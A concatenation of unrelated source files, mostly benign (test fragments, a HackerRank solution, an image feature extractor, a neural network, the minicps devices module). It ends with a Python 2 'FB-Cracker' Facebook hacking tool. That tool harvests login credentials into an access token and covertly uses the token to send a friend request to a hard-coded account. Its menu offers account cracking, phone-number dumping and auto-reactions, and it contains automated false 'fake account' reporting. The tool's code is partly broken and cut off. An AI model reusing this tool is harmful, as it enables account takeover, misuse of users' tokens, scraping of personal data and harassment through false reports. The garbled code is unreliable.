set_module_args({ 'name': 'dummy', 'force': True, }) self.patch_rubygems_version() self.patch_installed_versions([]) run_command = self.patch_run_command() with pytest.raises(AnsibleExitJson) as exc: gem.main() result = exc.value.args[0] assert result['changed'] assert run_command.called assert '--force' in get_command(run_command)
33.271429
140
0.647059
b773430612bf5d0f461420afca2abfc7e3d4d9b6
774
py
Python
Interview Preparation Kits/Interview Preparation Kit/Dynamic Programming/Max Array Sum/max_array_sum.py
xuedong/hacker-rank
ce8a60f80c2c6935b427f9409d7e826ee0d26a89
[ "MIT" ]
1
2021-02-22T17:37:45.000Z
2021-02-22T17:37:45.000Z
Interview Preparation Kits/Interview Preparation Kit/Dynamic Programming/Max Array Sum/max_array_sum.py
xuedong/hacker-rank
ce8a60f80c2c6935b427f9409d7e826ee0d26a89
[ "MIT" ]
null
null
null
Interview Preparation Kits/Interview Preparation Kit/Dynamic Programming/Max Array Sum/max_array_sum.py
xuedong/hacker-rank
ce8a60f80c2c6935b427f9409d7e826ee0d26a89
[ "MIT" ]
null
null
null
#!/bin/python3 import math import os import random import re import sys # Complete the maxSubsetSum function below. def maxSubsetSum(arr): n = len(arr) if n == 1: return arr[0] elif n == 2: return max(arr[0], arr[1]) else: max_sum1 = max(arr[0], arr[1]) max_sum2 = arr[0] max_sum = max(arr[0], arr[1]) for i in range(2, n): max_sum = max(arr[i], max(max_sum2+arr[i], max_sum1)) max_sum2 = max_sum1 max_sum1 = max_sum return max_sum if __name__ == '__main__': fptr = open(os.environ['OUTPUT_PATH'], 'w') n = int(input()) arr = list(map(int, input().rstrip().split())) res = maxSubsetSum(arr) fptr.write(str(res) + '\n') fptr.close()
19.35
65
0.555556
4d61e64a3bae8fae68693acb229013ab9bcd213d
67
py
Python
python_lessons/MtMk_Test_Files/Install_modules.py
1986MMartin/coding-sections-markus
e13be32e5d83e69250ecfb3c76a04ee48a320607
[ "Apache-2.0" ]
null
null
null
python_lessons/MtMk_Test_Files/Install_modules.py
1986MMartin/coding-sections-markus
e13be32e5d83e69250ecfb3c76a04ee48a320607
[ "Apache-2.0" ]
null
null
null
python_lessons/MtMk_Test_Files/Install_modules.py
1986MMartin/coding-sections-markus
e13be32e5d83e69250ecfb3c76a04ee48a320607
[ "Apache-2.0" ]
null
null
null
import pandas_datareader as pdr print(pdr.get_data_fred('GS10'))
22.333333
33
0.791045
4287599570a33ad90cc46d969e9170f28f22e080
1,641
py
Python
solutions/pic_search/webserver/src/preprocessor/vggnet.py
naetimus/bootcamp
0182992df7c54012944b51fe9b70532ab6a0059b
[ "Apache-2.0" ]
1
2021-04-06T06:13:20.000Z
2021-04-06T06:13:20.000Z
solutions/pic_search/webserver/src/preprocessor/vggnet.py
naetimus/bootcamp
0182992df7c54012944b51fe9b70532ab6a0059b
[ "Apache-2.0" ]
null
null
null
solutions/pic_search/webserver/src/preprocessor/vggnet.py
naetimus/bootcamp
0182992df7c54012944b51fe9b70532ab6a0059b
[ "Apache-2.0" ]
null
null
null
import numpy as np from keras.applications.vgg16 import VGG16 from keras.applications.vgg16 import preprocess_input as preprocess_input_vgg from keras.preprocessing import image from numpy import linalg as LA from common.const import input_shape class VGGNet: def __init__(self): self.input_shape = (224, 224, 3) self.weight = 'imagenet' self.pooling = 'max' self.model_vgg = VGG16(weights=self.weight, input_shape=(self.input_shape[0], self.input_shape[1], self.input_shape[2]), pooling=self.pooling, include_top=False) self.model_vgg.predict(np.zeros((1, 224, 224, 3))) def vgg_extract_feat(self, img_path): img = image.load_img(img_path, target_size=(self.input_shape[0], self.input_shape[1])) img = image.img_to_array(img) img = np.expand_dims(img, axis=0) img = preprocess_input_vgg(img) feat = self.model_vgg.predict(img) norm_feat = feat[0] / LA.norm(feat[0]) norm_feat = [i.item() for i in norm_feat] return norm_feat def vgg_extract_feat(img_path, model, graph, sess): with sess.as_default(): with graph.as_default(): img = image.load_img(img_path, target_size=(input_shape[0], input_shape[1])) img = image.img_to_array(img) img = np.expand_dims(img, axis=0) img = preprocess_input_vgg(img) feat = model.predict(img) norm_feat = feat[0] / LA.norm(feat[0]) norm_feat = [i.item() for i in norm_feat] return norm_feat
40.02439
107
0.621572
35f478e63f62f2eb63e36f39dd141eff543b279c
177
py
Python
Shivani/marks.py
63Shivani/Python-BootCamp
2ed0ef95af35d35c0602031670fecfc92d8cea0a
[ "MIT" ]
null
null
null
Shivani/marks.py
63Shivani/Python-BootCamp
2ed0ef95af35d35c0602031670fecfc92d8cea0a
[ "MIT" ]
null
null
null
Shivani/marks.py
63Shivani/Python-BootCamp
2ed0ef95af35d35c0602031670fecfc92d8cea0a
[ "MIT" ]
null
null
null
x = int(input("enter percentage\n")) if(x>=65): print("Excellent") elif(x>=55 and x<65): print("Good") elif(x>=40 and x<55): print("Fair") else: print("Failed")
17.7
36
0.581921
675e268f66545e94c7ba44b1bff8b2bc055b3946
5,660
py
Python
listings/chapter08/neural_network.py
SaschaKersken/Daten-Prozessanalyse
370f07a75b9465329deb3671adbfbef8483f76f6
[ "Apache-2.0" ]
2
2021-09-20T06:16:41.000Z
2022-01-17T14:24:43.000Z
listings/chapter08/neural_network.py
SaschaKersken/Daten-Prozessanalyse
370f07a75b9465329deb3671adbfbef8483f76f6
[ "Apache-2.0" ]
null
null
null
listings/chapter08/neural_network.py
SaschaKersken/Daten-Prozessanalyse
370f07a75b9465329deb3671adbfbef8483f76f6
[ "Apache-2.0" ]
null
null
null
import math import csv import numpy as np from random import shuffle # Sigmoidfunktion als Aktivierungsfunktion def sigmoid(x): try: return 1 / (1 + math.exp(-x)) except OverflowError: return 0 # Künstliches neuronales Netzwerk class NeuralNetwork: # Attribute: # - Anzahl Neuronen der Eingabeschicht # - Anzahl Neuronen der versteckten Schicht # - Anzahl Neuronen der Ausgabeschicht # - Lernrate (benannt) def __init__(self, i_neurons, h_neurons, o_neurons, learning_rate = 0.1): # Grundattribute initialisieren self.input_neurons = i_neurons self.hidden_neurons = h_neurons self.output_neurons = o_neurons self.learning_rate = learning_rate self.categories = [] # Gewichte als Zufallswerte initialisieren self.input_to_hidden = np.random.rand( self.hidden_neurons, self.input_neurons ) - 0.5 self.hidden_to_output = np.random.rand( self.output_neurons, self.hidden_neurons ) - 0.5 # Aktivierungsfunktion für NumPy-Arrays self.activation = np.vectorize(sigmoid) # Daten vorbereiten # Attribute: # - Daten als zweidimensionale Liste # - Anteil, der als Testdaten abgespalten werden soll # - Kategorie in der letzten Spalte? Sonst in der ersten def prepare(self, data, test_ratio=0.1, last=True): if last: x = [line[0:-1] for line in data] y = [line[-1] for line in data] else: x = [line[1:] for line in data] y = [line[0] for line in data] # Feature-Skalierung (x) columns = np.array(x).transpose() x_scaled = [] for column in columns: if min(column) == max(column): column = np.zeros(len(column)) else: column = (column - min(column)) / (max(column) - min(column)) x_scaled.append(column) x = np.array(x_scaled).transpose() # Kategorien extrahieren und als Attribut speichern y_values = list(set(y)) self.categories = y_values # Verteilung auf Ausgabeneuronen (y) y_spread = [] for y_i in y: current = np.zeros(len(y_values)) current[y_values.index(y_i)] = 1 y_spread.append(current) y_out = np.array(y_spread) separator = int(test_ratio * len(x)) return x[:separator], y[:separator], x[separator:], y_out[separator:] # Ein einzelner Trainingsdurchgang # Attribute: # - Eingabedaten als zweidimensionale Liste/Array # - Zieldaten als auf Ausgabeneuronen verteilte Liste/Array def train(self, inputs, targets): # Daten ins richtige Format bringen inputs = np.array(inputs, ndmin = 2).transpose() targets = np.array(targets, ndmin = 2).transpose() # Matrixmultiplikation: Gewichte versteckte Schicht * Eingabe hidden_in = np.dot(self.input_to_hidden, inputs) # Aktivierungsfunktion anwenden hidden_out = self.activation(hidden_in) # Matrixmultiplikation: Gewichte Ausgabeschicht * Ergebnis versteckt output_in = np.dot(self.hidden_to_output, hidden_out) # Aktivierungsfunktion anwenden output_out = self.activation(output_in) # Die Fehler berechnen output_diff = targets - output_out hidden_diff = np.dot(self.hidden_to_output.transpose(), output_diff) # Die Gewichte mit Lernrate * Fehler anpassen self.hidden_to_output += ( self.learning_rate * np.dot( (output_diff * output_out * (1.0 - output_out)), hidden_out.transpose() ) ) self.input_to_hidden += ( self.learning_rate * np.dot( (hidden_diff * hidden_out * (1.0 * hidden_out)), inputs.transpose() ) ) # Vorhersage für eine Reihe von Testdaten # Attribute: # - Eingabedaten als zweidimensionale Liste/Array # - Vergleichsdaten (benannt, optional) def predict(self, inputs, targets = None): # Dieselben Schritte wie in train() inputs = np.array(inputs, ndmin = 2).transpose() hidden_in = np.dot(self.input_to_hidden, inputs) hidden_out = self.activation(hidden_in) output_in = np.dot(self.hidden_to_output, hidden_out) output_out = self.activation(output_in) # Ausgabewerte den Kategorien zuweisen outputs = output_out.transpose() result = [] for output in outputs: result.append( self.categories[list(output).index(max(output))] ) # Wenn keine Zielwerte vorhanden, Ergebnisliste zurückgeben if targets is None: return result # Ansonsten vergleichen und korrekte Vorhersagen zählen correct = 0 for res, pred in zip(targets, result): if res == pred: correct += 1 percent = correct / len(result) * 100 return correct, percent # Hauptprogramm if __name__ == '__main__': with open('iris_nn.csv', 'r') as iris_file: reader = csv.reader(iris_file, quoting=csv.QUOTE_NONNUMERIC) irises = list(reader) shuffle(irises) network = NeuralNetwork(4, 12, 3, learning_rate = 0.2) x_test, y_test, x_train, y_train = network.prepare( irises, test_ratio=0.2 ) for i in range(200): network.train(x_train, y_train) correct, percent = network.predict(x_test, targets = y_test) print(f"{correct} korrekte Vorhersagen ({percent}%).")
36.993464
77
0.616784
6774699c5f28eee003c3e01f15f9fa923f3ece7e
511
py
Python
oldp/apps/courts/admin.py
ImgBotApp/oldp
575dc6f711dde3470d910e21c9440ee9b79a69ed
[ "MIT" ]
3
2020-06-27T08:19:35.000Z
2020-12-27T17:46:02.000Z
oldp/apps/courts/admin.py
ImgBotApp/oldp
575dc6f711dde3470d910e21c9440ee9b79a69ed
[ "MIT" ]
null
null
null
oldp/apps/courts/admin.py
ImgBotApp/oldp
575dc6f711dde3470d910e21c9440ee9b79a69ed
[ "MIT" ]
null
null
null
from django.contrib import admin from .models import * # admin.site.register(Court) admin.site.register(Country) admin.site.register(State) admin.site.register(City) @admin.register(Court) class CourtAdmin(admin.ModelAdmin): date_hierarchy = 'updated' list_display = ('name', 'slug', 'court_type', 'city', 'code', 'updated') actions = ['save_court'] def save_court(self, request, queryset): for item in queryset: item.save() save_court.short_description = 'Re-save'
24.333333
76
0.692759
67e354d20217acd242d0ad510fa3ae92f24da737
92
py
Python
2015/03/gdp-women-20140312/graphic_config.py
nprapps/graphics-archive
97b0ef326b46a959df930f5522d325e537f7a655
[ "FSFAP" ]
14
2015-05-08T13:41:51.000Z
2021-02-24T12:34:55.000Z
2015/03/gdp-women-20140312/graphic_config.py
nprapps/graphics-archive
97b0ef326b46a959df930f5522d325e537f7a655
[ "FSFAP" ]
null
null
null
2015/03/gdp-women-20140312/graphic_config.py
nprapps/graphics-archive
97b0ef326b46a959df930f5522d325e537f7a655
[ "FSFAP" ]
7
2015-04-04T04:45:54.000Z
2021-02-18T11:12:48.000Z
#!/usr/bin/env python COPY_GOOGLE_DOC_KEY = '1HPBT1kHoP0NbDhRpNMXsQrgcrmcPqXg-gu66ImF6OBc'
23
68
0.836957
e1f0e4d7f8278a3c087ee558e40d978eb8d20136
15,233
py
Python
minicps/devices.py
EnjoyFitness92/Praxisseminar-SS2020
b5baba5d1512a5fad3391efc42f3ab232d79c4e2
[ "MIT" ]
null
null
null
minicps/devices.py
EnjoyFitness92/Praxisseminar-SS2020
b5baba5d1512a5fad3391efc42f3ab232d79c4e2
[ "MIT" ]
2
2020-06-24T13:01:22.000Z
2020-06-24T13:10:07.000Z
minicps/devices.py
EnjoyFitness92/Praxisseminar-SS2020
b5baba5d1512a5fad3391efc42f3ab232d79c4e2
[ "MIT" ]
null
null
null
""" ``devices`` module contains: - ``get`` and ``set`` physical process's API methods - ``send`` and ``receive`` network layer's API methods - the user input validation code Any device can be initialized with any couple of ``state`` and ``protocol`` dictionaries. List of supported protocols and identifiers: - Devices with no networking capabilities have to set ``protocol`` equal to ``None``. - Ethernet/IP subset through ``cpppo``, use id ``enip`` - Mode 0: client only. - Mode 1: tcp enip server. - Modbus through ``pymodbus``, use id ``modbus`` - Mode 0: client only. - Mode 1: tcp modbus server. List of supported backends: - Sqlite through ``sqlite3`` The consistency of the system should be guaranteed by the client, e.g., do NOT init two different PLCs referencing to two different states or speaking two different industrial protocols. Device subclasses can be specialized overriding their public methods e.g., PLC ``pre_loop`` and ``main_loop`` methods. """ import time from os.path import splitext from minicps.states import SQLiteState, RedisState from minicps.protocols import EnipProtocol, ModbusProtocol class Device(object): """Base class.""" # TODO: state dict convention (eg: multiple table support?) def __init__(self, name, protocol, state, disk={}, memory={}): """Init a Device object. :param str name: device name :param dict protocol: used to set up the network layer API :param dict state: used to set up the physical layer API :param dict disk: persistent memory :param dict memory: main memory ``protocol`` (when is not ``None``) is a ``dict`` containing 3 keys: - ``name``: addresses a str identifying the protocol name (eg: ``enip``) - ``mode``: int identifying the server mode (eg: mode equals ``1``) - ``server``: if ``mode`` equals ``0`` is empty, otherwise it addresses a dict containing the server information such as its address, and a list of data to serve. ``state`` is a ``dict`` containing 2 keys: - ``path``: full (LInux) path to the database (eg: /tmp/test.sqlite) - ``name``: table name Device construction example: device = Device( name='dev', protocol={ 'name': 'enip', 'mode': 1, 'server': { 'address': '10.0.0.1', 'tags': (('SENSOR1', 1), ('SENSOR2', 1)), state={ 'path': '/path/to/db.sqlite', 'name': 'table_name', } ) """ self._validate_inputs(name, protocol, state, disk, memory) self.name = name self.state = state self.protocol = protocol self.memory = memory self.disk = disk self._init_state() self._init_protocol() self._start() self._stop() def _validate_inputs(self, name, protocol, state, disk, memory): # name string if type(name) is not str: raise TypeError('Name must be a string.') elif not name: raise ValueError('Name string cannot be empty.') # state dict if type(state) is not dict: raise TypeError('State must be a dict.') else: state_keys = state.keys() if (not state_keys) or (len(state_keys) != 2): raise KeyError('State must contain 2 keys.') else: for key in state_keys: if (key != 'path') and (key != 'name'): raise KeyError('%s is an invalid key.' % key) state_values = state.values() for val in state_values: if type(val) is not str: raise TypeError('state values must be strings.') # state['path'] subpath, extension = splitext(state['path']) # print 'DEBUG subpath: ', subpath # print 'DEBUG extension: ', extension if (extension != '.redis') and (extension != '.sqlite'): raise ValueError('%s extension not supported.' % extension) # state['name'] if type(state['name']) is not str: raise TypeError('State name must be a string.') # protocol dict if type(protocol) is not dict: if protocol is not None: raise TypeError('Protocol must be either None or a dict.') else: protocol_keys = protocol.keys() if (not protocol_keys) or (len(protocol_keys) != 3): raise KeyError('Protocol must contain 3 keys.') else: for key in protocol_keys: if ((key != 'name') and (key != 'mode') and (key != 'server')): raise KeyError('%s is an invalid key.' % key) # protocol['name'] if type(protocol['name']) is not str: raise TypeError('Protocol name must be a string.') else: name = protocol['name'] if (name != 'enip' and name != 'modbus'): raise ValueError('%s protocol not supported.' % protocol) # protocol['mode'] if type(protocol['mode']) is not int: raise TypeError('Protocol mode must be a int.') else: mode = protocol['mode'] if (mode < 0): raise ValueError('Protocol mode must be positive.') # protocol['server'] TODO # protocol['client'] TODO after adding it to the API def _init_state(self): """Bind device to the physical layer API.""" subpath, extension = splitext(self.state['path']) if extension == '.sqlite': # TODO: add parametric value filed # print 'DEBUG state: ', self.state self._state = SQLiteState(self.state) elif extension == '.redis': # TODO: add parametric key serialization self._state = RedisState(self.state) else: print 'ERROR: %s backend not supported.' % self.state # TODO: add optional process name for the server and log location def _init_protocol(self): """Bind device to network API.""" if self.protocol is None: print 'DEBUG: %s has no networking capabilities.' % self.name pass else: name = self.protocol['name'] if name == 'enip': self._protocol = EnipProtocol(self.protocol) elif name == 'modbus': self._protocol = ModbusProtocol(self.protocol) else: print 'ERROR: %s protocol not supported.' % self.protocol def _start(self): """Start a device.""" print "TODO _start: please override me" def _stop(self): """Start a device.""" print "TODO _stop: please override me" def set(self, what, value): """Set (write) a physical process state value. The ``value`` to be set (Eg: drive an actuator) is identified by the ``what`` tuple, and it is assumed to be already initialize. Indeed ``set`` is not able to create new physical process values. :param tuple what: field[s] identifier[s] :param value: value to be setted :returns: setted value or ``TypeError`` if ``what`` is not a ``tuple`` """ if type(what) is not tuple: raise TypeError('Parameter must be a tuple.') else: return self._state._set(what, value) def get(self, what): """Get (read) a physical process state value. :param tuple what: field[s] identifier[s] :returns: gotten value or ``TypeError`` if ``what`` is not a ``tuple`` """ if type(what) is not tuple: raise TypeError('Parameter must be a tuple.') else: return self._state._get(what) def send(self, what, value, address, **kwargs): """Send (write) a value to another network host. ``kwargs`` dict is used to pass extra key-value pair according to the used protocol. :param tuple what: field[s] identifier[s] :param value: value to be setted :param str address: ``ip[:port]`` :returns: ``None`` or ``TypeError`` if ``what`` is not a ``tuple`` """ if type(what) is not tuple: raise TypeError('Parameter must be a tuple.') else: return self._protocol._send(what, value, address, **kwargs) def receive(self, what, address, **kwargs): """Receive (read) a value from another network host. ``kwargs`` dict is used to pass extra key-value pair according to the used protocol. :param tuple what: field[s] identifier[s] :param str address: ``ip[:port]`` :returns: received value or ``TypeError`` if ``what`` is not a ``tuple`` """ if type(what) is not tuple: raise TypeError('Parameter must be a tuple.') else: return self._protocol._receive(what, address, **kwargs) # TODO: rename pre_loop and main_loop? class PLC(Device): """Programmable Logic Controller class. PLC provides: - state APIs: e.g., drive an actuator - network APIs: e.g., communicate with another Device """ def _start(self): self.pre_loop() self.main_loop() def _stop(self): if self.protocol['mode'] > 0: self._protocol._server_subprocess.kill() def pre_loop(self, sleep=0.5): """PLC boot process. :param float sleep: second[s] to sleep before returning """ print "TODO PLC pre_loop: please override me" time.sleep(sleep) def main_loop(self, sleep=0.5): """PLC main loop. :param float sleep: second[s] to sleep after each iteration """ sec = 0 while(sec < 1): print "TODO PLC main_loop: please override me" time.sleep(sleep) sec += 1 # TODO: add show something class HMI(Device): """Human Machine Interface class. HMI provides: - state APIs: e.g., get a water level indicator - network APIs: e.g., monitors a PLC's tag """ def _start(self): self.main_loop() def _stop(self): if self.protocol['mode'] > 0: self._protocol._server_subprocess.kill() def main_loop(self, sleep=0.5): """HMI main loop. :param float sleep: second[s] to sleep after each iteration """ sec = 0 while(sec < 1): print "TODO HMI main_loop: please override me" time.sleep(sleep) sec += 1 class Tank(Device): """Tank class. Tank provides: - state APIs: e.g., set a water level indicator """ def __init__( self, name, protocol, state, section, level): """ :param str name: device name :param dict protocol: used to set up the network layer API :param dict state: used to set up the physical layer API :param float section: cross section of the tank in m^2 :param float level: current level in m """ self.section = section self.level = level super(Tank, self).__init__(name, protocol, state) def _start(self): self.pre_loop() self.main_loop() def pre_loop(self, sleep=0.5): """Tank pre_loop. :param float sleep: second[s] to sleep before returning """ print "TODO Tank pre_loop: please override me" def main_loop(self, sleep=0.5): """Tank main loop. :param float sleep: second[s] to sleep after each iteration """ sec = 0 while(sec < 1): print "TODO Tank main_loop: please override me" time.sleep(sleep) sec += 1 class SCADAServer(Device): """SCADAServer class. SCADAServer provides: - state APIs: e.g., drive an actuator - network APIs: e.g., communicate with another Device """ def _start(self): self.pre_loop() self.main_loop() def _stop(self): if self.protocol['mode'] > 0: self._protocol._server_subprocess.kill() def pre_loop(self, sleep=0.5): """SCADAServer boot process. :param float sleep: second[s] to sleep before returning """ print "TODO SCADAServer pre_loop: please override me" time.sleep(sleep) def main_loop(self, sleep=0.5): """SCADAServer main loop. :param float sleep: second[s] to sleep after each iteration """ sec = 0 while(sec < 1): print "TODO SCADAServer main_loop: please override me" time.sleep(sleep) sec += 1 class RTU(Device): """RTU class. RTU provides: - state APIs: e.g., drive an actuator - network APIs: e.g., communicate with another Device """ def _start(self): self.pre_loop() self.main_loop() def _stop(self): if self.protocol['mode'] > 0: self._protocol._server_subprocess.kill() def pre_loop(self, sleep=0.5): """RTU boot process. :param float sleep: second[s] to sleep before returning """ print "TODO RTU pre_loop: please override me" time.sleep(sleep) def main_loop(self, sleep=0.5): """RTU main loop. :param float sleep: second[s] to sleep after each iteration """ sec = 0 while(sec < 1): print "TODO RTU main_loop: please override me" time.sleep(sleep) sec += 1 class CB(Device): # IN BEARBEITUNG """Conveyor belt class. Conveyor belt provides: - state APIs: e.g., set a velocity level indicator """ def __init__( self, name, protocol, state, velocity): """ :param str name: device name :param dict protocol: used to set up the network layer API :param dict state: used to set up the physical layer API :param double velocity: welche Geschwindigkeit hat das Foerderband standardmaessig """ self.velocity = velocity super(CB, self).__init__(name, protocol, state) def _start(self): self.pre_loop() self.main_loop() def pre_loop(self, sleep=0.5): """CB pre_loop. :param float sleep: second[s] to sleep before returning """ print "TODO CB pre_loop: please override me" def main_loop(self, sleep=0.5): """CB main loop. :param float sleep: second[s] to sleep after each iteration """ sec = 0 while(sec < 1): print "TODO Tank main_loop: please override me" time.sleep(sleep) sec += 1
28.472897
90
0.556817
e1781c4f541ecc8b0baffdda94024aa328257b27
28,022
py
Python
FB-Cracker-master/fbcracker.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-17T03:35:03.000Z
2021-12-08T06:00:31.000Z
FB-Cracker-master/fbcracker.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
null
null
null
FB-Cracker-master/fbcracker.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-05T18:07:48.000Z
2022-02-24T21:25:07.000Z
import os, sys, time, datetime, random, hashlib, re, threading, json, getpass, urllib from multiprocessing.pool import ThreadPool try: import requests except ImportError: os.system("pip2 install requests") from requests.exceptions import ConnectionError from mechanize import Browser try: import mechanize except ImportError: os.system("pip2 install mechanize") reload(sys) sys.setdefaultencoding('utf8') br = mechanize.Browser() br.set_handle_robots(False) br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1) br.addheaders = [('User-Agent', 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')] info = time.strftime("%S:%M:%H") def quit(): print '\x1b[1;91m[!] Program Closed' os.sys.exit() def loading(z): for e in z + '\n': sys.stdout.write(e) sys.stdout.flush() time.sleep(0.01) ########################################################################### # Color # ########################################################################### R = '\033[1;91m' V = '\033[1;95m' W = '\033[1;97m' G = '\033[1;92m' N = '\033[1;0m' Y = '\033[1;93m' good = "\033[1;32m[\033[1;36m+\033[1;32m]\033[0m" bad = "\033[1;32m[\033[1;31m!\033[1;32m]\033[0m" #word success = "\033[1;32mSuccessful\033[0m" failed = "\033[1;31mFailed\033[0m" banner2 = """%s .___.__ __ . [__ [__)/ `._. _. _.;_/ _ ._. | [__)\__.[ (_](_.| \(/,[ %s v2.0 %s - =====[ Facebook Cracker ]===== %s By Termux-Android-Hackers admin %s """%(R,Y,V,G,N) min banner = """%s .___.__ __ . [__ [__)/ `._. _. _.;_/ _ ._. | [__)\__.[ (_](_.| \(/,[ %s v 2.0 %s """%(R,Y,N) def load(): loading(G + '\r[*] Please Wait... \n') back = 0 threads = [] berhasil = [] cekpoint = [] gagal = [] idfriends = [] idfromfriends = [] idmem = [] id = [] em = [] emfromfriends = [] hp = [] hpfromfriends = [] reaksi = [] reaksigrup = [] komen = [] listgrup = [] ids = ('ids.txt') def login(): os.system('clear') try: toket = open('login.txt', 'r') menu() except (KeyError, IOError): os.system('clear') print banner2 print G+' Login Your Facebook Account'+N id = raw_input( V + ' Email ' + R + ' > ' + W) pwd = getpass.getpass( V + ' Paswd ' + R + ' > ' + W) os.system('clear') load() try: br.open('https://m.facebook.com') except mechanize.URLError: print '\n\x1b[1;91m[!] Please Check your Connection!\n\n'+N exit() br._factory.is_html = True br.select_form(nr=0) br.form['email'] = id br.form['pass'] = pwd br.submit() url = br.geturl() if 'save-device' in url: try: sig = 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail=' + id + 'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword=' + pwd + 'return_ssl_resources=0v=1.062f8ce9f74b12f84c123cc23437a4a32' data = {'api_key': '882a8490361da98702bf97a021ddc14d', 'credentials_type': 'password', 'email': id, 'format': 'JSON', 'generate_machine_id': '1', 'generate_session_cookies': '1', 'locale': 'en_US', 'method': 'auth.login', 'password': pwd, 'return_ssl_resources': '0', 'v': '1.0'} x = hashlib.new('md5') x.update(sig) a = x.hexdigest() data.update({'sig': a}) url = 'https://api.facebook.com/restserver.php' r = requests.get(url, params=data) z = json.loads(r.text) zedd = open('login.txt', 'w') zedd.write(z['access_token']) zedd.close() print '\n[#] Login Successfully!!' requests.post('https://graph.facebook.com/me/friends?method=post&uids=gwimusa3&access_token=' + z['access_token']) os.system('xdg-open https://www.youtube.com/kaitolegion') time.sleep(1) menu() except requests.exceptions.ConnectionError: print R + '\n[!] Please Check your Connection' quit() if 'checkpoint' in url: print '\n\x1b[1;91m[!] \x1b[1;93mYour Account Has Been Checkpoint' os.system('rm -rf login.txt') time.sleep(1) quit() else: print '\n\x1b[1;91m[!] Login Failed!' os.system('rm -rf login.txt') time.sleep(1) login() def menu(): try: toket = open('login.txt', 'r').read() except IOError: os.system('clear') print R + '[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() else: try: otw = requests.get('https://graph.facebook.com/me?access_token=' + toket) a = json.loads(otw.text) nama = a['name'] id = a['id'] ots = requests.get('https://graph.facebook.com/me/subscribers?access_token=' + toket) b = json.loads(ots.text) sub = str(b['summary']['total_count']) except KeyError: os.system('clear') os.system('rm -rf login.txt') time.sleep(1) login() except requests.exceptions.ConnectionError: print banner print '\x1b[1;91m[!]Please Check your Connection!' quit() os.system('clear') print banner print V+' Welcome'+N+' [ '+ G + nama + N+ ' ] ' print R+15 * '-'+G+'[ \033[1;97mMenu'+N+G+' ]'+R+ 15* '-'+N print W + ' 1.' + G + ' Start Cracking' print W + ' 2.' + G + ' Dump Group ID\'s' print W + ' 3.' + G + ' Dump Phone Numbers' print W + ' 4.' + G + ' Profile Guard' print W + ' 5.' + G + ' Auto Reaction' print W + ' 6.' + G + ' Auto Report' print W + ' 7.' + G + ' Developer' print W + ' 8.' + G + ' Logout' print W + ' 0.' + R + ' Exit' print '' pilih() def pilih(): zedd = raw_input(G + '~@adapcsg ' + R + '\xe2\x96\xb6 ' + W) if zedd == '': print '\x1b[1;91m [!] Empty command' pilih() elif zedd == '1': super() elif zedd == '2': dumpg() elif zedd == '3': phone() elif zedd == '4': guard() elif zedd == '5': autoliker() time.sleep(5) elif zedd == '6': print 'Not Available Now' menu() elif zedd == '7': os.system('clear') print ' \033[1;93mRecoded : \033[1;92mMr.KaitoX\n \033[1;93mTeam : \033[1;92madapcsg \n \033[1;93mFacebook : \033[1;92mhttps://facebook.com/kaitolegionofficial \n\033[1;93m Github : \033[1;92mhttps://www.github.com/mrkaitox \n\033[1;93m YouTube : \033[1;92mhttps://youtube.com/kaitolegion' print '\n' print G+' Special Greetz:'+V+' \n Infinite \n Ph.Osus \n Ph.Bloodz \n AnonPrixor \n P4r4site \n Aries \n Fox Blood \n Mr.M3ll0w \n s4yt4m5 \n XxJohnxX \n Scroider' raw_input('\n\x1b[1;91m[ \x1b[1;97mBack \x1b[1;91m]') menu() elif zedd == '8': os.system('rm -rf login.txt') quit() elif zedd == '0': os.system('clear') print G + 'Bye Bye Tool Love Your admin <3'+N raw_input(R + '[ ' + W + 'Quit' + R + ' ]' + N) quit() else: print R + ' [+] Wrong Command!' pilih() ########################################################################### # Auto Report # ########################################################################### def report(): try: os.system('clear') print banner id = raw_input(R+'[+]'+G+' Enter Target Id: '+W) my = ("https://m.facebook.com/"+id) url = my br.open(url) dray = raw_input(R+'[*] '+G+'Do You Want To Report \n'+R+'[+]'+G+' [y/yes] :\n'+ G +' RootSec ' + R + '\xe2\x96\xb6 ' + W) return rep() except: menu() def rep(): x = open(ids,'r') y = x.read() if id in y: print (R+'. Oops 405') time.sleep(1) time.sleep(R+'Error While Reporting the Id') time.sleep(1) return test1() else: return test2() def test1(): _bs = br.response().read() bb=bs4.BeautifulSoup(_bs, features="html.parser" ) if len(bb) !=0: for x in bb.find_all("a",href=True): if "rapid_report" in x["href"]: _cadow = x["href"] br.open(_cadow) return test2() def test2(): try: br._factory.is_html=True br.select_form(nr=0) br.form["tag"] = ["profile_fake_account"] br.submit() return test3() except Exception as f: print (' [+] Bad404') def test3(): try: br._factory.is_html=True br.select_form(nr=0) br.form["action_key"] = ["FRX_PROFILE_REPORT_CONFIRMATION"] br.submit() return _test4() except Exception as f: print (' Bad405') def test4(): try: br._factory.is_html=True br.select_form(nr=0) br.form["checked"] = ["yes"] br.submit() jj = open(ids,'w') jj.write(_id) print '' time.sleep(2) print (G+'[-]Reported ') time.sleep(1) exit() except Exception as f: print (' Bad406') ########################################################################### # Auto Reaction # ########################################################################### def autoliker(): os.system('clear') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token not found' os.system('rm -rf login.txt') time.sleep(1) login() os.system('clear') print banner print G+'1. \x1b[1;95mLike' print G+'2. \x1b[1;92mLove' print G+'3. \x1b[1;93mWow' print G+'4. \x1b[1;93mHaha' print G+'5. \x1b[1;94mSad' print G+'6. \x1b[1;91mAngry' print R+'0. \x1b[1;97mBack' react() def react(): global tipe kai = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if kai == '': react() else: if kai == '1': tipe = 'LIKE' root() else: if kai == '2': tipe = 'LOVE' root() else: if kai == '3': tipe = 'WOW' root() else: if kai == '4': tipe = 'HAHA' root() else: if kai == '5': tipe = 'SAD' root() else: if kai == '6': tipe = 'ANGRY' root() else: if kai == '0': menu() else: print 